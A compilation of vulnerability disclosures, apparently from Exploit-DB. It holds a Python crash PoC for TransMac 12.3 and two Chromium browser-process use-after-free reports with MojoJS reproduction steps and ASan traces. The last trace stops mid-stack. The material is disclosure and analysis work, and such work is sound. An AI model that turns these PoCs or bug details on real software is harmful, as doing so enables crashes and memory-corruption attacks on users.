0x0c208000e940: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c208000e950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c208000e960: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c208000e970: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==128425==ABORTING
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46474.zip
# -*- coding: utf-8 -*-
# Exploit Title: TransMac 12.3 - 'Volume name' Denial of Service (PoC)
# Date: 27/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acutesystems.com/
# Software Link: https://www.acutesystems.com/tmac/tmsetup.exe
# Version: 12.3
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "TransMac.py", it will create a new file "TransMac.txt"
# 2.- Copy the content of the new file 'TransMac.txt' to clipboard
# 3.- Open TransMac.exe
# 4.- Go to File > New Disk Image
# 5.- Paste clipboard in 'Volume name' field
# 6.- Click on button -> Ok
# 7.- Save the new disk with any name, e.g 'exploit.dmg'
# 8.- Crashed
buffer = "\x41" * 1000
f = open ("TransMac.txt", "w")
f.write(buffer)
f.close()
There are several object-lifetime issues in the browser process in the
implementation of payments.mojom.PaymentRequest.
The PaymentRequest object contains a std::unique_ptr to a
PaymentRequestSpec, which is initialised during the call to PaymentRequest::Init.
(https://cs.chromium.org/chromium/src/components/payments/content/payment_request.cc?rcl=7ba58abc11b141bafe03e017c5e027b889782223&l=114)
If we call PaymentRequest::Show on an initialised PaymentRequest, then we will pass this PaymentRequestSpec pointer to a new PaymentRequestSheetController.
(https://cs.chromium.org/chromium/src/chrome/browser/ui/views/payments/payment_request_dialog_view.cc?rcl=cededb4b546c5082ef1a207b67d9744481c4aa8d&l=415)
It will be stored as a raw pointer there with the comment
"// All these are not owned. Will outlive this."
(https://cs.chromium.org/chromium/src/chrome/browser/ui/views/payments/payment_request_sheet_controller.h?rcl=cededb4b546c5082ef1a207b67d9744481c4aa8d&l=168)
The comment, however, is incorrect, and there is no guarantee that the spec_ pointer will still be valid when the PaymentRequestSheetController later uses it. If the client makes a second call to PaymentRequest::Init, then the spec_ object will be free'd immediately.
Note that the same appears to be true of the state_ object, which is also passed in to the PaymentRequestSheetController.
To reproduce you need a local build of chrome; run the attached script
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html'
Then once the chrome window is open and the renderer tabs have started, close the running chrome (ctrl-c will work fine) and you will likely see the issue. It may take several tries for everything to line up right.
=================================================================
==157886==ERROR: AddressSanitizer: heap-use-after-free on address 0x6140003c8d70 at pc 0x5645e19a8acd bp 0x7ffd25a60110 sp 0x7ffd25a60108
READ of size 8 at 0x6140003c8d70 thread T0 (chrome)
#0 0x5645e19a8acc in begin buildtools/third_party/libc++/trunk/include/vector:1506:30
#1 0x5645e19a8acc in RemoveObserver base/observer_list.h:282
#2 0x5645e19a8acc in payments::PaymentRequestSpec::RemoveObserver(payments::PaymentRequestSpec::Observer*) components/payments/content/payment_request_spec.cc:211
#3 0x5645e138787c in ~PaymentSheetViewController chrome/browser/ui/views/payments/payment_sheet_view_controller.cc:383:11
#4 0x5645e138787c in payments::PaymentSheetViewController::~PaymentSheetViewController() chrome/browser/ui/views/payments/payment_sheet_view_controller.cc:382
#5 0x5645e1338d5d in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
#6 0x5645e1338d5d in reset buildtools/third_party/libc++/trunk/include/memory:2638
#7 0x5645e1338d5d in ~unique_ptr buildtools/third_party/libc++/trunk/include/memory:2592
#8 0x5645e1338d5d in ~pair buildtools/third_party/libc++/trunk/include/utility:315
#9 0x5645e1338d5d in __destroy<std::__1::pair<views::View *const, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > buildtools/third_party/libc++/trunk/include/memory:1734
#10 0x5645e1338d5d in destroy<std::__1::pair<views::View *const, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > buildtools/third_party/libc++/trunk/include/memory:1597
#11 0x5645e1338d5d in std::__1::__tree<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, std::__1::__map_value_compare<views::View*, std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, std::__1::less<views::View*>, true>, std::__1::allocator<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > >::destroy(std::__1::__tree_node<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, void*>*) buildtools/third_party/libc++/trunk/include/__tree:1863
#12 0x5645e13328be in clear buildtools/third_party/libc++/trunk/include/__tree:1900:5
#13 0x5645e13328be in clear buildtools/third_party/libc++/trunk/include/map:1274
#14 0x5645e13328be in payments::PaymentRequestDialogView::Cancel() chrome/browser/ui/views/payments/payment_request_dialog_view.cc:123
#15 0x5645de3ae330 in views::DialogClientView::CanClose() ui/views/window/dialog_client_view.cc:119:52
#16 0x5645de375084 in views::Widget::Close() ui/views/widget/widget.cc:580:46
#17 0x5645d8940eff in payments::ChromePaymentRequestDelegate::CloseDialog() chrome/browser/payments/chrome_payment_request_delegate.cc:77:20
#18 0x5645e198d77d in payments::PaymentRequest::OnConnectionTerminated() components/payments/content/payment_request.cc:434:14
#19 0x5645e198ffda in payments::PaymentRequest::Show(bool) components/payments/content/payment_request.cc
#20 0x5645d18f3921 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1562:13
#21 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
#22 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
#23 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
#24 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
#25 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
#26 0x5645d9077881 in Run base/callback.h:129:12
#27 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
#28 0x5645d8d13d51 in Run base/callback.h:99:12
#29 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#30 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#31 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#32 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#33 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
#34 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
#35 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
0x6140003c8d70 is located 304 bytes inside of 440-byte region [0x6140003c8c40,0x6140003c8df8)
freed by thread T0 (chrome) here:
#0 0x5645cfb0e852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
#1 0x5645e198e733 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
#2 0x5645e198e733 in reset buildtools/third_party/libc++/trunk/include/memory:2638
#3 0x5645e198e733 in operator= buildtools/third_party/libc++/trunk/include/memory:2504
#4 0x5645e198e733 in payments::PaymentRequest::Init(mojo::InterfacePtr<payments::mojom::PaymentRequestClient>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, mojo::StructPtr<payments::mojom::PaymentDetails>, mojo::StructPtr<payments::mojom::PaymentOptions>) components/payments/content/payment_request.cc:129
#5 0x5645d18f4de7 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1527:13
#6 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
#7 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
#8 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
#9 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
#10 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
#11 0x5645d9077881 in Run base/callback.h:129:12
#12 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
#13 0x5645d8d13d51 in Run base/callback.h:99:12
#14 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#15 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#16 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#17 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#18 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
#19 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
#20 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
previously allocated by thread T0 (chrome) here:
#0 0x5645cfb0dc12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
#1 0x5645e198e3e1 in make_unique<payments::PaymentRequestSpec, mojo::StructPtr<payments::mojom::PaymentOptions>, mojo::StructPtr<payments::mojom::PaymentDetails>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, payments::PaymentRequest *, const std::__1::basic_string<char> &> buildtools/third_party/libc++/trunk/include/memory:3118:28
#2 0x5645e198e3e1 in payments::PaymentRequest::Init(mojo::InterfacePtr<payments::mojom::PaymentRequestClient>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, mojo::StructPtr<payments::mojom::PaymentDetails>, mojo::StructPtr<payments::mojom::PaymentOptions>) components/payments/content/payment_request.cc:129
#3 0x5645d18f4de7 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1527:13
#4 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
#5 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
#6 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
#7 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
#8 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
#9 0x5645d9077881 in Run base/callback.h:129:12
#10 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
#11 0x5645d8d13d51 in Run base/callback.h:99:12
#12 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#13 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#14 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#15 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#16 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
#17 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
#18 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
SUMMARY: AddressSanitizer: heap-use-after-free buildtools/third_party/libc++/trunk/include/vector:1506:30 in begin
Shadow bytes around the buggy address:
0x0c2880071150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2880071160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2880071170: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x0c2880071180: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2880071190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c28800711a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
0x0c28800711b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c28800711c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c28800711d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c28800711e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c28800711f0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==157886==ABORTING
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46472.zip
There's a race-condition / object-lifetime issue in the browser process when the browser process shutdown races against the IO thread handling mojo messages from the renderer.
It's (at least) possible to trigger this by closing the browser while running the attached poc; I'm not sure if there's a situation other than browser-process exit that could cause this race to occur. It looks like this might be triggerable when the Chrome auto-update causes a browser
restart in the background, but I haven't tried to reproduce that case.
I (think) that this issue is occurring because we bind an interface in the registry to a callback that runs on a separate task runner, but which has a reference to base::Unretained(this), where this is the instance of the RenderFrameHostImpl. It looks like there's an assumption that the lifetime of RenderFrameHostManager is longer than BrowserMainLoop, and that doesn't seem to be the case.
https://cs.chromium.org/chromium/src/content/browser/frame_host/render_frame_host_impl.cc?rcl=0c858fb5c4a474f690eb450b923e72c298be5d8a&l=3890
To reproduce you need a local build of chrome; run the attached script
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html'
Then once the Chrome window is open and the renderer tabs have started, close the running Chrome (ctrl-c will work fine) and you will likely see the issue. It may take several tries for everything to line up right. Alternatively, you can run Chrome repeatedly in headless mode, which should also trigger the issue.
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist --headless 'http://localhost:8000/index.html'
Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.
=================================================================
==133162==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00020e170 at pc 0x562062502aff bp 0x7f12c74841b0 sp 0x7f12c74841a8
READ of size 8 at 0x61d00020e170 thread T7 (Chrome_IOThread)
#0 0x562062502afe in operator bool buildtools/third_party/libc++/trunk/include/memory:2623:19
#1 0x562062502afe in content::RenderFrameHostImpl::CreateMediaStreamDispatcherHost(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) content/browser/frame_host/render_frame_host_impl.cc:5489
#2 0x56206253f6a0 in Invoke<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:516:12
#3 0x56206253f6a0 in MakeItSo<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
#4 0x56206253f6a0 in RunImpl<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), const std::__1::tuple<base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> > &, 0, 1> base/bind_internal.h:689
#5 0x56206253f6a0 in base::internal::Invoker<base::internal::BindState<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> >, void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>&&) base/bind_internal.h:671
#6 0x56206253ff1d in Run base/callback.h:129:12
#7 0x56206253ff1d in service_manager::CallbackBinder<content::mojom::MediaStreamDispatcherHost>::RunCallback(base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> const&, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) services/service_manager/public/cpp/interface_binder.h:69
#8 0x562062540126 in Invoke<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:416:12
#9 0x562062540126 in MakeItSo<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
#10 0x562062540126 in RunImpl<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), std::__1::tuple<base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> >, 0, 1> base/bind_internal.h:689
#11 0x562062540126 in base::internal::Invoker<base::internal::BindState<void (*)(base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> const&, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> >, void ()>::RunOnce(base::internal::BindStateBase*) base/bind_internal.h:658
#12 0x562067efad51 in Run base/callback.h:99:12
#13 0x562067efad51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#14 0x562067ef8525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#15 0x562067ef97e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#16 0x562067ef97e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#17 0x562068120e50 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_libevent.cc:210:31
#18 0x562067f70591 in base::RunLoop::Run() base/run_loop.cc:102:14
#19 0x562061fcf46d in content::BrowserProcessSubThread::IOThreadRun(base::RunLoop*) content/browser/browser_process_sub_thread.cc:174:11
#20 0x56206804b291 in base::Thread::ThreadMain() base/threading/thread.cc:332:3
#21 0x5620681163b1 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:81:13
#22 0x7f12e28b6493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
0x61d00020e170 is located 1776 bytes inside of 2136-byte region [0x61d00020da80,0x61d00020e2d8)
freed by thread T0 (chrome) here:
#0 0x56205ecf5852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
#1 0x5620625559c7 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
#2 0x5620625559c7 in reset buildtools/third_party/libc++/trunk/include/memory:2638
#3 0x5620625559c7 in ~unique_ptr buildtools/third_party/libc++/trunk/include/memory:2592
#4 0x5620625559c7 in content::RenderFrameHostManager::~RenderFrameHostManager() content/browser/frame_host/render_frame_host_manager.cc:91
#5 0x56206242e0ec in content::FrameTreeNode::~FrameTreeNode() content/browser/frame_host/frame_tree_node.cc:167:1
#6 0x562062425405 in content::FrameTree::~FrameTree() content/browser/frame_host/frame_tree.cc:117:3
#7 0x562062eac1b4 in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:722:1
#8 0x562062eadb1d in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:613:37
#9 0x56206fef8722 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
#10 0x56206fef8722 in reset buildtools/third_party/libc++/trunk/include/memory:2638
#11 0x56206fef8722 in TabStripModel::SendDetachWebContentsNotifications(TabStripModel::DetachNotifications*) chrome/browser/ui/tabs/tab_strip_model.cc:517
#12 0x56206ff087ec in TabStripModel::CloseWebContentses(base::span<content::WebContents* const, 18446744073709551615ul>, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1365:5
#13 0x56206fefdad0 in TabStripModel::InternalCloseTabs(base::span<content::WebContents* const, 18446744073709551615ul>, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1275:27
#14 0x56206fefceb4 in TabStripModel::CloseAllTabs() chrome/browser/ui/tabs/tab_strip_model.cc:629:3
#15 0x562070309fcb in BrowserView::CanClose() chrome/browser/ui/views/frame/browser_view.cc:2257:15
#16 0x56206d55c084 in views::Widget::Close() ui/views/widget/widget.cc:580:46
#17 0x5620678a029b in BrowserCloseManager::CloseBrowsers() chrome/browser/lifetime/browser_close_manager.cc:170:24
#18 0x5620678a0c84 in BrowserCloseManager::CheckForDownloadsInProgress() chrome/browser/lifetime/browser_close_manager.cc:107:5
#19 0x5620678a094d in BrowserCloseManager::TryToCloseBrowsers() chrome/browser/lifetime/browser_close_manager.cc:82:3
#20 0x56206733beb9 in chrome::CloseAllBrowsers() chrome/browser/lifetime/application_lifetime.cc:196:26
#21 0x56206733ce08 in AttemptExitInternal chrome/browser/lifetime/application_lifetime.cc:152:39
#22 0x56206733ce08 in chrome::AttemptExit() chrome/browser/lifetime/application_lifetime.cc:299
#23 0x562067aa5c55 in Exit chrome/browser/chrome_browser_main_posix.cc:104:3
#24 0x562067aa5c55 in (anonymous namespace)::ExitHandler::ExitWhenPossibleOnUIThread() chrome/browser/chrome_browser_main_posix.cc:73
#25 0x562067efad51 in Run base/callback.h:99:12
#26 0x562067efad51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#27 0x562067ef8525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#28 0x562067ef97e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#29 0x562067ef97e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#30 0x562067f015e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
#31 0x562067f015e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
#32 0x7f12e05d2fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
previously allocated by thread T0 (chrome) here:
#0 0x56205ecf4c12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
#1 0x5620624b7d3c in content::RenderFrameHostFactory::Create(content::SiteInstance*, content::RenderViewHostImpl*, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool, bool) content/browser/frame_host/render_frame_host_factory.cc:33:27
#2 0x562062556a17 in content::RenderFrameHostManager::CreateRenderFrameHost(content::SiteInstance*, int, int, int, bool, bool) content/browser/frame_host/render_frame_host_manager.cc:1686:10
#3 0x56206255639a in content::RenderFrameHostManager::Init(content::SiteInstance*, int, int, int, bool) content/browser/frame_host/render_frame_host_manager.cc:100:22
#4 0x562062ecdda7 in content::WebContentsImpl::Init(content::WebContents::CreateParams const&) content/browser/web_contents/web_contents_impl.cc:1968:23
#5 0x562062ea4e15 in content::WebContentsImpl::CreateWithOpener(content::WebContents::CreateParams const&, content::RenderFrameHostImpl*) content/browser/web_contents/web_contents_impl.cc:770:17
#6 0x562062ea47a8 in content::WebContents::Create(content::WebContents::CreateParams const&) content/browser/web_contents/web_contents_impl.cc:311:10
#7 0x56206fe46041 in CreateTargetContents chrome/browser/ui/browser_navigator.cc:418:7
#8 0x56206fe46041 in Navigate(NavigateParams*) chrome/browser/ui/browser_navigator.cc:588
#9 0x56206fedf3ce in StartupBrowserCreatorImpl::OpenTabsInBrowser(Browser*, bool, std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:474:5
#10 0x56206fee2092 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&, StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:762:13
#11 0x56206fede41f in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, std::__1::vector<GURL, std::__1::allocator<GURL> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:639:22
#12 0x56206fedd16d in StartupBrowserCreatorImpl::Launch(Profile*, std::__1::vector<GURL, std::__1::allocator<GURL> > const&, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:369:5
#13 0x56206fed2df1 in StartupBrowserCreator::LaunchBrowser(base::CommandLine const&, Profile*, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun) chrome/browser/ui/startup/startup_browser_creator.cc:350:13
